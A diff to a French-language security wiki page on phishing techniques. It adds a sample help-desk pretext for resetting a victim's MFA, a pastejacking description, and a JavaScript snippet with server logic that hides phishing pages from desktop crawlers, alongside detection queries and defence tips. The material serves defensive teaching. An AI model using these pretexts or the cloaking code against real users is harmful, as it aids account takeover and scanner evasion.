+Outre le push-bombing classique, les opérateurs forcent simplement un nouvel enregistrement MFA pendant l'appel au help-desk, annulant le token existant de l'utilisateur. Toute invite de connexion suivante paraît légitime pour la victime.
```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
@@ -539,7 +539,7 @@ Surveiller les événements AzureAD/AWS/Okta où **`deleteMFA` + `addMFA`** se p
## Clipboard Hijacking / Pastejacking
-Les attaquants peuvent copier silencieusement des commandes malveillantes dans le clipboard de la victime depuis une compromised or typosquatted web page, puis tromper l'utilisateur pour qu'il les colle dans **Win + R**, **Win + X** ou une fenêtre de terminal, exécutant du code arbitraire sans téléchargement ni pièce jointe.
+Les attaquants peuvent copier silencieusement des commandes malveillantes dans le clipboard de la victime depuis une page web compromise ou typosquattée, puis tromper l'utilisateur pour qu'il les colle dans **Win + R**, **Win + X** ou une fenêtre de terminal, exécutant du code arbitraire sans aucun téléchargement ni pièce jointe.
{{#ref}}
@@ -553,12 +553,40 @@ clipboard-hijacking.md
mobile-phishing-malicious-apps.md
{{#endref}}
-## Références
+### Mobile‑gated phishing to evade crawlers/sandboxes
+Les opérateurs placent de plus en plus leurs flux de phishing derrière une vérification simple de l'appareil afin que les crawlers desktop n'atteignent jamais les pages finales. Un schéma courant est un petit script qui teste pour un touch-capable DOM et envoie le résultat à un server endpoint ; les clients non‑mobile reçoivent HTTP 500 (ou une page vide), tandis que les utilisateurs mobiles se voient servir le flux complet.
+
+Extrait client minimal (logique typique):
+```html
+
+```
+Logique de `detect_device.js` (simplifiée) :
+```javascript
+const isMobile = ('ontouchstart' in document.documentElement);
+fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
+.then(()=>location.reload());
+```
+Server behaviour often observed:
+- Crée un cookie de session lors du premier chargement.
+- Accepts `POST /detect {"is_mobile":true|false}`.
+- Retourne 500 (ou un espace réservé) aux GET suivants lorsque `is_mobile=false` ; ne sert le phishing que si `true`.
+
+Hunting and detection heuristics:
+- Requête urlscan: `filename:"detect_device.js" AND page.status:500`
+- Télémétrie web : séquence `GET /static/detect_device.js` → `POST /detect` → HTTP 500 pour non‑mobile ; les parcours légitimes de victimes mobile renvoient 200 avec HTML/JS suivant.
+- Bloquer ou scruter les pages qui conditionnent le contenu exclusivement sur `ontouchstart` ou des vérifications d'appareil similaires.
+
+Defence tips:
+- Exécuter des crawlers avec des empreintes simulant un mobile et le JS activé pour révéler le contenu restreint.
+- Alerter sur les réponses 500 suspectes suite à `POST /detect` sur des domaines nouvellement enregistrés.
+
+## References
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
+- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
{{#include ../../banners/hacktricks-training.md}}